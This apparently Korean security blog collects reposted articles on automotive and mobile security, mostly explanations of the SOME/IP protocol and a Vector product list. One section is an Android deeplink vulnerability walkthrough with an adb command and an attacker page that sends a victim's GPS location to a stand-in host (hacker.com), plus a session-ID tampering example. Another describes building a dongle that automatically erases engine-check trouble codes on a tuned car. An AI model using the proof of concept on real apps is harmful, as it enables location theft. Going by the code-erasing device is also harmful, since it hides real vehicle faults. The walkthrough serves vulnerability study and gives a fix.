'ISMS' vs 'CSMS'

경로 및 정보 2023. 2. 22. 11:22

 

 

'ISMS' vs 'CSMS' (brunch.co.kr)

 

'ISMS' vs 'CSMS'

CS = "Cyber Security" or "Car Security"? | 'ISMS'는 잘 아시듯 "Information Security Management System"으로서, '정보'를 그 대상으로 하며, ISO2700* Series의 중심입니다. 'CSMS'는 무엇일까요? "Cyber Security Management System"으

brunch.co.kr

 

 

 

블로그 이미지

wtdsoul

,

GitHub - andreia-oca/awesome-embedded-fuzzing: A list of resources (papers, books, talks, frameworks, tools) for understanding fuzzing for IoT/embedded devices.

 

GitHub - andreia-oca/awesome-embedded-fuzzing: A list of resources (papers, books, talks, frameworks, tools) for understanding f

A list of resources (papers, books, talks, frameworks, tools) for understanding fuzzing for IoT/embedded devices. - GitHub - andreia-oca/awesome-embedded-fuzzing: A list of resources (papers, books...

github.com

 

블로그 이미지

wtdsoul

,

안드로이드 딥링크 취약점 (tistory.com)

 

안드로이드 딥링크 취약점

ி 딥링크 취약점 실행 과정 1. AndroidManifest.xml 파일 내 application 태그에서 MainActivity 내 딥링크 사용 확인 딥링크: app://deeplink/load.jsp 2. getQueryParameter 함수를 통해 딥링크의 파라미터(Url) 값 확인이

jdh5202.tistory.com

 

ி 딥링크 취약점 실행 과정


1. AndroidManifest.xml 파일 내 application 태그에서 MainActivity 내 딥링크 사용 확인
딥링크: app://deeplink/load.jsp


2. getQueryParameter 함수를 통해 딥링크의 파라미터(Url) 값 확인이 가능하며 해당 파라미터를 이용하여 웹뷰를 실행하는 딥링크 앱인 것을 확인(url 검증 로직이 존재하지 않아 Open Redirect 취약점 연계 가능)
딥링크: app://deeplink/load.jsp?Url=


3. MainActivity 내 자바스크립트 인터페이스를 사용하는 getGPSLocation() 함수 확인,
해당 함수 실행 시 evaluateJavascript를 통해 send_gpsinfo 함수 실행
JavascriptInterface: 안드로이드와 웹뷰의 통신을 위해 만들어진 인터페이스이며
웹뷰 내 자바스크립트로 안드로이드 함수를 호출하거나 안드로이드에서 웹뷰의 자바스크립트 실행 가능
evaluateJavascript: 안드로이드에서 웹뷰 내의 자바스크립트 실행 가능

4. 공격자 서버로 이동되도록 poc 작성 후 딥링크 실행(피해자가 피싱에 의해 실행했다고 가정)
app://deeplink/load.jsp?Url=https://hacker.com/hacker_link.php"
딥링크 실행 방법 1. 딥링크 테스트 사이트 이용(https://jdh5202.tistory.com/951)
방법 2. 단말기 내에서 html 파일 생성 후 a 태그로 딥링크를 작성하여 요청
방법 3. adb 명령어 이용( adb shell am start -W -a android.intent.action.VIEW -d "deeplink" 패키지명
ex)adb shell am start -W -a android.intent.action.VIEW -d "app://deeplink/load.jsp?Url=javascript:Android.getGPSLocation\(\)" com.example.recv_deeplink


공격자 서버 페이지(hacker_link.php) 코드
 <html><head><script>
 function send_gpsinfo(gps_info)
 { 
 // gps 정보 출력 
 document.getElementById("result").innerHTML = gps_info; 
 
 // 공격자 서버로 피해자의 gps 정보를 전송
 client = new XMLHttpRequest();
 client.open('POST', 'https://hacker.com/saveGPSinfo.php',true);
 client.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 client.send("gpsinfo=" + gps_info);
 }   
 </script></head><body><center>
 
 <!-- 딥링크 -->
 <a href="javascript:window.Android.getGPSLocation();">Click me!</a>
 
 <div id="result"></div>
 </center></body></html>


End. 피해자가 딥링크 클릭 시 공격자 서버로 GPS 정보가 전송됨

참고: 해당 취약점을 확인하려면 인텐트 스키마 및 JavascriptInterface 개념을 이해하고 있어야 한다.
취약점 조치방법은 allow-list 방식으로 인가된 URI에 대해서만 JavascriptInterface 권한을 부여하도록 설정한다. 
 

ி 딥링크 취약점 사례

 
딥링크를 통해 세션 하이재킹, 계정 탈취, LFI, webview 구현을 사용하는 xss 등 다양한 종류의 취약점이
발생할 수 있다. 예를들어 아래 딥링크를 통해 특정 사용자의 세션을 열 수 있다면 공격자는 파라미터 값 변조를
통해 계정 탈취를 수행하는 딥링크를 작성할 수 있다. 

example://exam.com/v1/users/sessionId=jdh5202  -> example://exam.com/v1/users/sessionId=admin 

블로그 이미지

wtdsoul

,

SOME/IP Protocol과 Service Discovery 소개 및 개념 (tistory.com)

 

SOME/IP Protocol과 Service Discovery 소개 및 개념

SOME/IP 간략 소개SOME/IP는 "Scalable service-Oriented MiddlewarE over IP"의 약자입니다. 이 미들웨어는 일반적인 자동차 사용 사례와 최소 유선 형식 수준의 AUTOSAR와 호환되도록 설계되었습니다. http://some-ip.c

jjeongil.tistory.com

 

SOME/IP 간략 소개

SOME/IP는 "Scalable service-Oriented MiddlewarE over IP"의 약자입니다. 이 미들웨어는 일반적인 자동차 사용 사례와 최소 유선 형식 수준의 AUTOSAR와 호환되도록 설계되었습니다.  http://some-ip.com/에서 공개적으로 액세스할 수 있는 사양이 제공됩니다. 이번 포스팅에서는 SOME/IP 사양의 기본 구조와 오픈 소스 구현 및 오픈 소스 구현에 대한 간략한 개요를 제공하고자 합니다.

 

먼저 SOME/IP 사양의 세 가지 주요 부분부터 살펴보겠습니다.

 

On-wire format

Protocol

Service Discovery

 

 

SOME/IP On-wire format

원칙적으로 SOME/IP 통신은 IP를 통해 devices 또는 subscribers 간에 전송되는 메시지로 구성됩니다. 다음 그림을 참고하세요.

 

두 장치(A 및 B)가 표시되어 있습니다. Device A는 B에 SOME/IP 메시지를 보내고 하나의 메시지를 반환합니다. 기본 전송 프로토콜은 TCP 또는 UDP를 활용합니다. 메시지 자체에는 큰 차이가 없습니다. 이제 Device B에서 이 메시지에 의해 Device  A에서 호출되는 기능을 제공하는 서비스를 실행하고 있다고 가정하고, 그 답으로 메시지를 보냅니다.

 

SOME/IP 메시지에는 header와 payload의 두 부분이 있습니다. 그림에서 헤더는 주로 식별자입니다:

 

Service ID : 각 서비스의 고유 식별자

Method ID : 0-32767(방법), 이벤트의 경우 32768-65535

Length : 페이로드 길이(바이트)(다음 ID도 포함, 8바이트 추가)

Client ID : ECU 내의 호출 클라이언트에 대한 고유 식별자로, 전체 차량에서 고유해야 합니다.

Session ID : 세션 처리를 위한 식별자. 각 통화에 대해 증가시켜야 합니다.

Protocol Version : 0x01

Interface Version : 주요 서비스 인터페이스 버전

Message Type :

-- REQUEST (0x00) 응답을 기다리는 요청(공백도) 

-- REQUEST_NO_RETURN (0x01) A fire&forget 요청 

-- NOTIFICATION (0x02) 응답이 없을 것으로 예상되는 알림/이벤트 콜백 요청 

-- RESPONSE (0x80) response message

Return Code : 

-- E_OK (0x00) 오류 발생이 없을 시

-- E_NOT_OK (0x01) 지저오디지 않은 오류 발생  

-- E_WRONG_INTERFACE_VERSION (0x08) Interface version 불 일치

-- E_MALFORMED_MESSAGE (0x09) 페이로드의 크기를 줄일 수 없도록 감도화 오류

-- E_WRONG_MESSAGE_TYPE (0x0A) 예상치 못한 메시지 유형 수신 (예를 들어 RE-QUEST_NO_RETURN)

 

정상적인 기능 호출과 클라이언트가 가입한 이벤트에 대한 알림 메시지에 "Requests" 및 "RESPONSE"가 있음을 알 수 있습니다. 오류는 정상적인 응답 또는 알림으로 보고되지만 적절한 반환 코드가 있습니다.

 

payload에는 직렬화된 데이터가 포함되어 있습니다. 위 그림은 전송된 데이터 구조가 기본 데이터 유형만 있는 중첩 구조라는 단순한 경우의 직렬화를 보여주고 있습니다. 이 경우, 구조 요소는 그냥 평평하게 됩니다. 즉, 단순히 적재물에 하나씩 기록된다는 뜻입니다.

 

SOME/IP Protocol

이 섹션에서는 주로 두 가지 사항이 중요합니다.

 

the so-called transport bindings (UDP and TCP)

the basic communication patterns publish/subscribe and request/response.

 

위에서 언급한 바와 같이 기본 전송 프로토콜은 UDP 또는 TCP일 수 있습니다. UDP의 경우 SOME/IP message가 분할되지 않습니다. message가 둘 이상 UDP 패킷에 있을 수 있지만 UDP 패키지는 최대 1400바이트일 수 없습니다. 큰 message는 TCP를 통해 전송되어야 합니다. 이 경우 TCP의 robustness가 사용됩니다. TCP 스트림에서 동기화 오류가 발생하면 SOME/IP 규격에서 다음 message의 시작을 다시 찾기 위해 magic cookies를 호출할 수 있습니다.

 

service interfaces를 인스턴스화해야 하며 동일한 인터페이스의 인스턴스가 여러 개 있을 수 있으므로 정의된 인스턴스(인스턴스 ID)에 대한 추가 식별자가 있어야 합니다. 그러나 인스턴스 ID는 SOME/IP 메시지 header의 일부가 아닙니다. 인스턴스는 전송 프로토콜의 포트 번호를 통해 식별됩니다. 즉, 동일한 인터페이스에서 여러 인스턴스가 동일한 포트에서 제공될 수 없습니다.

 

이제 기본 SOME/IP 통신 패턴을 보여 주는 다음 그림을 보십시오.

 

Remote Procedure Calls에 대한 표준 REQUEST/RESPONSE 메커니즘 외에도 이벤트에 대한 PUBLISH/SUBSCRIBE 패턴도 있습니다. SOME/IP 프로토콜의 이벤트는 항상 이벤트 그룹에 그룹화되므로 이벤트 자체는 가입할 수 없고 이벤트 그룹에만 가입할 수 있습니다. SOME/IP 사양도 "필드"를 알고 있습니다. 이 경우 Setter/Getter 방법이 REQUEST/RESPONSE 패턴을 따르고 있으며 변경사항의 알림 message는 이벤트입니다. Subscription 자체는 SOME/IP Service Discovery을 통해 수행됩니다.

 

 

SOME/IP Service discovery

SOME/IP 서비스 검색은 서비스 인스턴스를 찾고 서비스 인스턴스가 실행 중인지 탐지하고 publish/subscribe 처리를 구현하는 데 사용됩니다. 이것은 소위 말하는 offer messages를 통해 수행됩니다. 즉, 각 device는 이 device에서 제공하는 모든 서비스를 포함하는 메시지를 broadcast(멀티캐스트)합니다. SOME/IP SD messages는 UDP를 통해 전송됩니다. 클라이언트 애플리케이션에 서비스가 필요하지만 현재 제공되지 않는 경우 "find messages"도 보낼 수 있습니다. 다른 SOME/IP SD messages는 이벤트 그룹을 Publish/Subscribe하는 데 사용할 수 있습니다.

 

다음 그림은 SOME/IP SD messaged의 일반적인 구조를 보여줍니다.

 

vsomeip 간단 개요

도입 사례를 구현하기 전에 vsomeip이라고 하는 SOME/IP의 GENIVI 구현의 기본 구조에 대해 간단히 살펴보겠습니다.

 

그림과 같이 vsomeip은 기기 간 SOME/IP communication (외부 통신)뿐만 아니라 내부 프로세스 간 communication 도 포함합니다. 두 Device는 사용된 전송 프로토콜(TCP 또는 UDP)과 해당 매개 변수를 포트 번호 또는 기타 매개 변수로 결정하는 통신 endpoints 을 통해 통신합니다. 이러한 모든 매개 변수는 vsomeip 구성 파일에 설정할 수 있는 구성 매개 변수입니다(json 파일, vsomeip 사용자 설명서 참조). 내부 communication은 로컬 endpoint를 통해 이루어지며, 이 엔드포인트는 Boost.Asio Library를 사용하여 Unix 도메인 소켓에 의해 구현됩니다. 이 내부 통신은 D-Bus 데몬과 같은 중앙 구성 요소를 통해 라우팅되지 않으므로 매우 빠릅니다.

 

중앙 vsomeip 라우팅 관리자는 외부 디바이스로 전송해야 하는 경우에만 messages를 수신하고 외부에서 들어오는 messages를 배포합니다. Device 당 라우팅 관리자는 하나만 있으며, 아무것도 구성되지 않은 경우 실행 중인 vsomeip 애플리케이션도 라우팅 관리자를 시작합니다.

 

vsomeip은 데이터 구조의 직렬화를 구현하지 않습니다. 이는 CommonAPI의 SOME/IP Binding에서 다루고 있습니다. vsomeip은 SOME/IP Protocol과 Service Discovery을 포함합니다.

 

이는 SOME/IP 및 vsomeip에 대한 짧은 소개였습니다  그러나 처음 접하시는 분들에게는 충분할 것입니다. 더 자세한 것은 나중에 예제를 통해 설명하도록 하겠습니다.

블로그 이미지

wtdsoul

,

OBD2 블루투스 동글을 이용한 엔진체크등 자동 소거기 - 자동차 DIY - 자동차 가지고 놀기 (daum.net)

 

OBD2 블루투스 동글을 이용한 엔진체크등 자동 소거기

차량에 이상이 감지된 경우, 엔진체크등 (MIL : Malfuction Indicator Lamp)이 점등 됩니다.이때 진단단자 (OBD2 Connector)에 스캐너를 연결하여 오류코드 (DTC : Diagonostic Trouble Code)를 읽으면차량의 어느 부분

m.cafe.daum.net

 

 

 
OBD2 블루투스 동글을 이용한 엔진체크등 자동 소거기
 
작성자돌퓨터[김원준]|작성시간14.04.09|조회수1,726목록댓글 9글자크기 작게글자크기 크게

차량에 이상이 감지된 경우, 엔진체크등 (MIL : Malfuction Indicator Lamp)이 점등 됩니다.

이때 진단단자 (OBD2 Connector)에 스캐너를 연결하여 오류코드 (DTC : Diagonostic Trouble Code)를 읽으면

차량의 어느 부분에 이상이 발생했는지 대략 알 수 있습니다.

 

차량에 이상이 발생했다면, 그 원인을 찾아서 수리를 하는 것이 올바른 방법이겠지만,

수리를 해도 엔진체크등을 지울 수 없는 경우도 있습니다.

특히 배기관련 튜닝을 한 경우에 흔하게 발생하는 문제 입니다.

 

많은 운전자들이 이런 문제 때문에, 스캐너로 주기적으로 DTC를 삭제하며 운행을 하는데, 무척 번거로운 일입니다.

그래서, 시중에서 쉽게 구할 수 있는 OBD2 블루투스 동글을 개조하여

자주 발생하는 DTC코드를 기억하였다가,  오류가 발생하면 자동으로 지워주는 장치를 만들어 보았습니다.

 

-------------------------------------------------------------------------------

 

얼마전... 

 

평소에 일은 잘 안하고, 자동차 경주에 나갈 기회만 호시탐탐 노리고 있는 것으로 보이는 

인피동 노땅 회원분으로부터 카톡이 왔습니다.

 

예전에 만들었던 학습형 DTC 자동 소거기 (참조: http://cafe.daum.net/playwithcar/7MdY/23 )

여분이 있냐는 내용이 었는데, 사실대로(^^;) 없다고 하려다가...

뭔가 느낌이 이상해서 어디다 쓰려고 하냐고 물어봤더니, 아는 분 차량에 자꾸 오류가 떠서 그렇다고 하시더군요.

 

그런데 그 차량이 바로....,...

요런 계기판을 가진 좀 특별한 차량이더군요...

 

좀 넓게 볼까요? 뭔가 좀... 아니 마구 복잡하네요

 

엔진룸도 심상치 않게 생겼군요... 무슨 차일까요?

 

저... 저요?

 

네 무려... 무르시엘라고 LP640 입니다.

 

아벤타도르에게 자리를 물려주기 전까지, 람보르기니의 기함이었던 멋진 녀석이죠...

람보를 한번 뜯어봐야겠다는 호기심에 그만 일을 벌이고 말았습니다.

또 수십만원을 날릴 기회가 생긴거죠 ㅠㅠ

 

:

:

:

 

몇 일 뒤... 땅바닥에 찰싹 달라붙어 있는 무르시를 만났고, 일단 어떤 오류가 있는지 스캔해 봤습니다.

 

현재는 2개의 오류 코드가 떠 있지만, 배기/Miss fire 관련 오류 몇가지가 계속 발생한다고 합니다.

배기 튜닝이 된 상태이기 때문에, 일반적인 수리 방법으로는 해결이 되지 않는다는군요.

 

그래서 급히 DTC 소거기를 만들어서 연결해 봤는데...

OTL... 이 차량은 (2008년식 무르시엘라고) OBD단자에 CAN이 없었습니다.

DTC 소거기는 CAN 방식만을 지원하기 때문에 이 차에는 아무런 쓸모가 없더군요.

어쩔 수 없이 기념사진만 찍고ㅠㅠ 무르시와는 일단 이별을 하게 되었습니다.

 

 

 

CAN을 지원하지 않는 구형 차량도 대부분 K-Line은 지원하기 때문에,

K-Line 방식으로 DTC 소거기를 다시 만들면 되지만, 그러려면 시간도 많이 걸리고,

비용도 많이 들어가기 때문에 포기 할까하다가.... 좋은 생각이 떠 올랐습니다.

 

자동차의 진단단자(OBD2I 단자)에 꽂고 스마트폰이나 노트북등과 블루투스로 연결하여

차량의 상태 (속도, RPM, 냉각수온, 유온등)를 실시간으로 확인할 수 있는 "OBD2 블루투스 동글" 이라는 장치가 있습니다.

 

1~3만원대의 저렴한 가격으로 구입할 수 있고, 대부분의 차량에 사용가능하죠. 이렇게 생겼습니다.

 

요즘 많은 분들이 차량에 설치하여 "Torque" ( https://play.google.com/store/apps/details?id=org.prowl.torque )와

같은 스마트폰용 어플을 사용하여 보조 게이지로 사용하고 계시죠.

 

 

OBD2 동글은 ELM-327이라는 자체 프로토콜을 지원하며, ELM-327은 차량의 종류/연식등에 따라

다른 여러가지 통신방식을 간단한 AT 커맨드 방식으로 변환해 주는 일종의 번역장치 입니다.

ELM-327에 대하여 자세히 알고 싶으신 분은 http://elmelectronics.com/ 를 참조하시기 바랍니다.

 

이 제품을 사용하면, CAN, K-LIne을 포함하여, 전 세계의 구형~신형 차량 대부분을 지원할 수 있는

다양한 통신 프로토콜을 비교적 쉽게 사용할 수 있습니다.

 

 

DTC 소거기는 CAN 밖에 지원하지 않아서 구형 차량에는 사용할 수 없지만,

차량에서 사용되는 다양한 OBD 관련 프로토콜을 모두 지원하는 ELM-327이

들어 있는 블루투스 동글을 약간 개조하면 비교적 쉽게 문제를 해결 할 수 있을 것입니다..

 

가지고 있던 OBD2 블루투스 동글을 분해해 보았습니다. 제품 상단에 붙어 있는 작은 PCB가 블루투스 모듈입니다.

 

블루투스 모듈은 ELM-327 chip과 시리얼통신(UART)으로 연결되어 있습니다.

블루투스 모듈을 제거하고, ELM-327에서 나온 시리얼통신 라인을 제가 제작한 CPU 보드와 연결합니다.

 

CPU보드는 다른용도로 만들었던 것을 개조한것이라서 살짝 지저분합니다.^^

 

그리고, ELM-327을 통하여 기존의 학습형 DTC 자동 소거기와 같은 기능을 할 수 있도록 프로그램을 작성하였습니다.

 

 

드디어 완성 되었는데....그런데, 이렇게 만들어 놓고보니, 조금 더 욕심이 생겼습니다.

 

"제어 회로(CPU보드)를 OBD2 동글 안에 넣을 수 있지 않을까?"

 

블루투스 모듈을 떼어 낸 자리에 넣을 수 있도록 아주 작은 회로를 만들었습니다.

회로설계와 아트웍 작업 후, 주문한 PCB가 도착했습니다. 주문한 량보다 훨~~~씬 많이 보내주셨네요^^

 

크기는 아래 사진과 같습니다. 100원짜리 동전과 비교해 보시죠~

 

이제 OBD2 동글을 몇 대 더 구입했는데... 어? 외형은 같은데... 내부의 블루투스 모듈이 다른 종류네요ㅠㅠ

그런데 다행히, 시리얼통신 및 전원핀은 동일하여 그대로 사용할 수 있었습니다. 휴우....

살짝 팁을 한가지 알려드리자면... 국내 오픈마켓에서 2~3만원에 판내되는 OBD2 블루투스 동글은

AliExpress나 EBay등을 통하여 직접 구매할 경우 $10 이하로 구매할 수 있습니다.

저는 $7도 안되는 가격에 구입했죠... (좀 오래 걸리긴 하지만, 무료배송^^)

 

이제 조심스럽게 블루투스 모듈을 제거 합니다.

 

아래 사진처럼, 블루투스 모듈을 떼어낸 자리에 새로 제작한 제어회로를 부착합니다.

 

이제, 프로그램 작성을 위해 개발용 장비/PC와 연결합니다.

 

PC를 통하여 AT 커맨드로 오류를 읽어봤습니다.

지난번에 스캐너로 읽은것과 동일한 오류코드가 읽히는군요.

 

새로운 회로에 맞도록 수정한 펌웨어를 기록한 후

 

케이스에 스위치용 구멍을 하나 뚫고... 조립합니다.

 

완성~ 아주 심플하죠?

 

이제 OBD2 진단단자가 달려 있는 거의 모든 차량에서 사용할 수 있는 학습형 DTC 자동 소거기가 만들어졌습니다^^

 

이 제품의 상단에는 작은 버튼 하나와, 적색/녹색 LED가 달려 있습니다.

차량의 전원이 켜져 있는 동안, 주기적으로 오류를 검사하여 차량에 이상이 없을 경우는 녹색 LED가 깜박이고,

DTC 오류가 있을 경우에는 적색 LED가 깜박입니다. 이 때 버튼을 짧게 누르면 DTC 오류가 삭제됩니다.

 

오류가 발생했을때, 버튼을 3초간 누르고 있으면 적색 LED가 빠르게 깜박이고,

현재 발생한 DTC오류를 기억합니다. 오류는 64개 까지 기억가능하며,

(64개보다 더 많은 오류가 발생하는 차량은... 폐차장으로)

기존에 기억된 오류가 있다면 추가하여 기억하게 되고,

추후 기억한 오류가 발생할 경우 자동으로 지워줍니다.

 

기억하지 않은 오류가 발생할 경우는 정말로 차에 이상이 발생한 경우이므로,

DTC를 삭제 하지 않고 적색 LED가 깜박입니다.

 

버튼을 5초 이상 누르고 있으면 녹색 LED가 빠르게 깜박이면서 기억한 내용을 모두 지우게 됩니다.

설치는... 진단 단자에 꽂기만 하면 끝입니다.

 

이제 무르시의 깊은 곳(?)에 있는 진단단자에 꽂고 오류를 기억시켰습니다.

잠시 후.... 경고등이 꺼진 깨끗한 계기판을 볼 수 있었습니다.^^

 

참, 무르시엘라고는 ECU가 2개라고 하는군요. 그래서 경고등도 Left, Right 2개가 있습니다. 참 희안하죠?

 

 

 

 

 

  •  
블로그 이미지

wtdsoul

,

https://tb.kibo.or.kr/ktms/board/download.do?rbsIdx=441&idx=403&fidx=1&usg=AOvVaw055O89vj3goNb6vkVO-DZL 

 

 

 

블로그 이미지

wtdsoul

,

제품 목록 | Vector

 

소프트웨어

ASAP2 Lib ASAP2 파일 읽기 및 쓰기를 위한 함수 라이브러리
ASAP2 Tool-Set ECU 디스크립션 파일의 생성 및 편집
CANalyzer ECU, 전체 네트워크 및 분산 시스템의 분석
CANape ECU 계측, 캘리브레이션, 진단 및 플래싱
CANape log 효율적이고 유연한 ADAS 로깅
CANdb++ CAN/CAN FD 네트워크를 위한 설계 환경
CANdelaStudio 차량 진단 사양화
CANoe ECU, 전체 네트워크 및 분산 시스템의 테스트, 시뮬레이션, 진단 및 분석을 위한 멀티 버스 툴
CANoe Test Package VAG Volkswagen을 위한 CANoe 기반 CAN Conformance 테스트
CANoe.DiVa ECU 진단 소프트웨어의 자동 테스트
BASELABS Create Embedded 자율 주행 기능을 위한 데이터 퓨전 개발
DaVinci Configurator Pro AUTOSAR 베이직 소프트웨어 및 RTE 설정
DaVinci Developer ECU의 AUTOSAR SWC 설계
DYNA4 폐-루프(Closed-loop) 시스템 테스트에서 가상 테스트 주행을 통한 효율적인 기능 개발
Indigo 진단 테스터
MDF4 Lib MDF3 및 MDF4 파일 읽기 및 쓰기를 위한 함수 라이브러리
ODXStudio ODX 진단 데이터 보기 및 편집
PREEvision E/E 엔지니어링 솔루션
Squore 프로젝트 모니터링에서 효율적인 의사결정을 위한 소프트웨어 분석
TA Tool Suite AUTOSAR Multi-Core ECU의 타이밍 동작을 최적으로 관리
vCDM 전문적인 캘리브레이션 데이터 관리
vCDMstudio 파라미터 설정 파일 편집
VectorCAST 소프트웨어 개발 라이프 사이클 전체에서 테스팅 활동을 자동화
vFlash ECU 플래싱
vMDM 전문적인 계측 데이터 관리
vMeasure 다양한 소스의 시간 동기식 수집
vSignalyzer 계측 데이터 표시, 평가 및 문서화
vTESTstudio 임베디드 시스템을 위한 편리한 자동화 테스트 시퀀스 설계
vVIRTUALtarget AUTOSAR ECU를 위한 가상 테스트
 

제품 목록

소프트웨어, 하드웨어, 라이브러리 및 드라이버, 임베디드 소프트웨어: 약 75개의 벡터 제품을 해당 카테고리에서 알파벳 순으로 찾을 수 있으며, 제품에 관한 자세한 정보를 확인할 수 있습니다

www.vector.com

 

하드웨어

Accessories CAN, FlexRay, BroadR-Reach, Ethernet, OBD 및 K-Line을 위한 케이블과 어댑터
Bus Transceiver CAN, CAN FD, LIN,  K-Line, FlexRay, 센서 및 J1708 인터페이스를 위한 벡터 전용 버스 트랜시버
RT Rack CANoe RT 운영에 최적화된 실시간 운영체제를 갖춘 고성능 산업용 PC
CSM Measurement Modules 빠르고 정확하며 유연한 계측
GL Loggers 다양한 차량 어플리케이션을 위한 데이터 로거 제품군
Smart Logger E-Mobility 및 ADAS 개발을 위한 지능형 로깅 솔루션
VH1160 CANoe를 사용하여 CAN 및 LIN 적합성 테스트하기 위한 하드웨어
VH4110 스마트 디바이스 테스트를 위한 USB 라우터
VH5110A 충전소 및 전기자동차 간의 CCS 충전 통신 분석을 위한 하드웨어
VH6501 CAN (FD) 네트워크에 정교하고 재현 가능한 외란을 인가하는 스트레스 하드웨어
VN0601 ARINC 429를 위한 네트워크 인터페이스
VN1530/VN1531 CAN 및 LIN을 위한 네트워크 인터페이스
VN1600 USB 인터페이스를 갖춘 CAN, CAN FD, LIN, K-Line, J1708 및 IO 네트워크 인터페이스
VN2640 USB 인터페이스를 갖춘 MOST150 네트워크 인터페이스
VN4610 Car2X/V2X 통신을 위한 네트워크 인터페이스
VN5611/VN5612/VN5601 Ethernet interfaces and adapter for portable use
VN5620/VN5430 차량용 Ethernet (및 CAN FD) 을 위한 네트워크 인터페이스
VN5650/VN5240 온보드 어플리케이션을 위한 Ethernet 인터페이스
VN7572 PCIe 인터페이스를 갖춘 FlexRay, CAN FD, LIN 및 K-Line 네트워크 인터페이스
VN7610 USB 인터페이스를 갖춘 CAN FD 및 FlexRay 네트워크 인터페이스
VN7640 USB 인터페이스를 갖춘 CAN FD, LIN, FlexRay, K-Line, J1708 및 Ethernet 네트워크 인터페이스
VN8900 FlexRay, CAN FD, LIN 및 K-Line을 위한 모듈식 네트워크 인터페이스 시스템
VP6400 / VP7400 스마트 로거 어플리케이션을 위한 플랫폼
vSECC 지능형 충전소를 위한 범용 제어 장치
VT System 효율적인 ECU 테스트를 위한 모듈식 테스트 환경
VX0312 Ethernet/BroadR-Reach 및 CAN을 위한 네트워크 인터페이스
VX1000 초고속 데이터 전송 속도를 지원하는 확장 가능한 ECU 인터페이스
VX1161 여러 ECU를 위한 컴팩트한 계측 및 캘리브레이션 하드웨어

임베디드 소프트웨어 컴포넌트

MICROSAR Adaptive 동적 AUTOSAR Adaptive 소프트웨어 플랫폼
MICROSAR Classic AUTOSAR ECU를 위한 베이직 소프트웨어
CANbedded CAN 통신을 위한 소프트웨어 컴포넌트
CANbedded J1939 J1939 어플리케이션을 위한 소프트웨어 컴포넌트
CANbedded LIN LIN 통신을 위한 소프트웨어 컴포넌트
Flash Bootloader ECU 리프로그래밍 소프트웨어

라이브러리 & 드라이버

Vector D-PDU API D-DPU API(ISO 22900-2)를 통한 표준화된 차량 통신
PassThru XL Library SAE J2534 기반 어플리케이션을 위한 벡터 네트워크 인터페이스 사용
RP1210 API 상용 차량의 진단 인터페이스 액세스를 위한 프로그래밍 인터페이스
XL Driver Library 벡터 네트워크 인터페이스를 위한 드라이버 라이브러리
블로그 이미지

wtdsoul

,

BMW SOME/IP

경로 및 정보 2023. 2. 14. 11:03

https://voib.tistory.com/2

 

 

글쓴이는 현재 유럽 OEM 관련 SOME/IP Project를 진행 중이며 진행 하면서 배운 것들을 정리 할 겸 글을 써 보았다.

(AUTOSAR 1.5.1 SOME/IP 규격 기반)

https://www.autosar.org/standards/foundation/

 

1. SOME/IP(Scalable service-Oriented MiddlewarE over IP) Overview

BMW 주도하에 Automotive 영역에서 Device(ECU)간 Ethernet 기반 Data 통신을 지원하기 위해 만들어진 Protocol이다.

 

SOME/IP 는 SOA(Service Oriented Architecture)기반으로 설계 된 Protocol이다.

각 기능이 Service별로 구별 되어 있으며,

각 Service는 Service를 제공하는 Provider(Server), Service를 이용하는 Consumer(Client)로 구분 되어 있다.

 

2. SOME/IP 

Device 끼리 SOME/IP Protocol을 통해 Data를 주고 받는 것이 주 목적이다.

SOME/IP 관련 Header 가 존재하며 data 가 Serializatoin 된 Payload가 존재 한다.

Header 와 Payload는 Byte형태이다.

- SOME/IP Header

더보기
닫기

Service ID : 서비스 unique ID
Method ID : 0-32767(Method), 32768-65535 (Event)
Length : Payload length
Client ID : ECU 내의 unique ID=> 하나의 Service ID 안에 여러 Client 가 존재 할 수 있다.
Session ID : Session ID, SOME/IP 통신 마다 증가해야 하며, SOME/IP sequence를 구별 하기 위해 사용한다.
Protocol Version : 0x01 (현재 default 값은 1이다)
Interface Version : Service Interface의 Major 버전이다.

Message Type : 
-- REQUEST (0x00) Response를 기다리는 요청
-- REQUEST_NO_RETURN (0x01) A fire&forget 요청  
-- NOTIFICATION (0x02) Response 기대 없이 이벤트 형식의 data 만 전송
-- RESPONSE (0x80) Response message

Return Code :  
-- E_OK (0x00) 정상
-- E_NOT_OK (0x01) 비정상 return

-- E_UNKNOWN_SERVICE (0x02) Service 못 찾음

-- E_UNKNOWN_METHOD(0x03) Method 못 찾음

-- E_NOT_READY (0x04) Application 미 준비 상태

-- E_NOT_REACHABLE (0x05) System 이 비정상 상태

-- E_TIMEOUT (0x06) Timeout

-- E_WRONG_PROTOCOL_VERSION (0x07) Protocl version 불 일치

-- E_WRONG_INTERFACE_VERSION (0x08) Interface version 불 일치

-- E_MALFORMED_MESSAGE (0x09) 비정상 Packet 형태
-- E_WRONG_MESSAGE_TYPE (0x0a) Message Type 불 일치 
-- RESERVED (0x0b - 0x1f) 페이로드의 크기를 줄일 수 없도록 감도화 오류 
-- RESERVED (0x020 - 0x5e) 예상치 못한 메시지 유형 수신 (예를 들어 RE-QUEST_NO_RETURN)

 

- Payload Serialization

  규격 참고

보통 Protocol의 Header 및 Serilization 부분은 규격을 자세히 읽어 보는 것이 좋은것 같다.

그리고 직접 PCAP과 비교해보면서 보면 훨씬 이해가 빠를 것이다.

 

- Transport Protocol

SOME/IP 는 UDP 또는 TCP 기반으로 통신을 하게 된다. 

보통 Packet 크기 MTU 사이즈 이상 되게 되면 TCP를 사용하게 되며

현재는 Runtime 시점에 동적으로UDP <->TCP 전환 내용은 요구사항에 없다.

규격에서 제안 하는 Transprot Protocol 선택 가이드라인 

더보기
닫기

     #Use TCP only if very large chunks of data need to be transported (> 1400 Bytes) and no hard latency requirements in the case of errors exists

#Use UDP if very hard latency requirements (<100ms) in case of errors is needed

#Use UDP together with SOME/IP-TP if very large chunks of data need to be transported (> 1400 Bytes) and hard latency requirements in the case of errors exists

#Try using external transport or transfer mechanisms (Network File System, APIX link, 1722, ...) when they are more suited for the use case. In this case SOME/IP can transport a file handle or a comparable identifier. This gives the designer additional freedom (e.g. in regard to caching).

 

TCP 사용 시 중요한 것은 Nagle's Algorithm이 off 되야 된다는 것이다.

SOME/IP 중요성 중에 하나가 실시간 성이기 때문이다.

 

Consumer 와 Provider 간은 하나의 Connection을 기반으로 통신해야 한다.(TCP는 Heavy 한 Protocol 이며 TCP Connection은 최소화 해야 한다.)

 

UDP 기반으로 MTU 이상 Packet을 전송 하기 위해서는 SOME/IP-TP라는 것을 이용해 보내게 된다.

결국 Data를 Segment하며 Header에 offset 정보를 담아서 보내게 되는 형식이다.

 

- Communication 

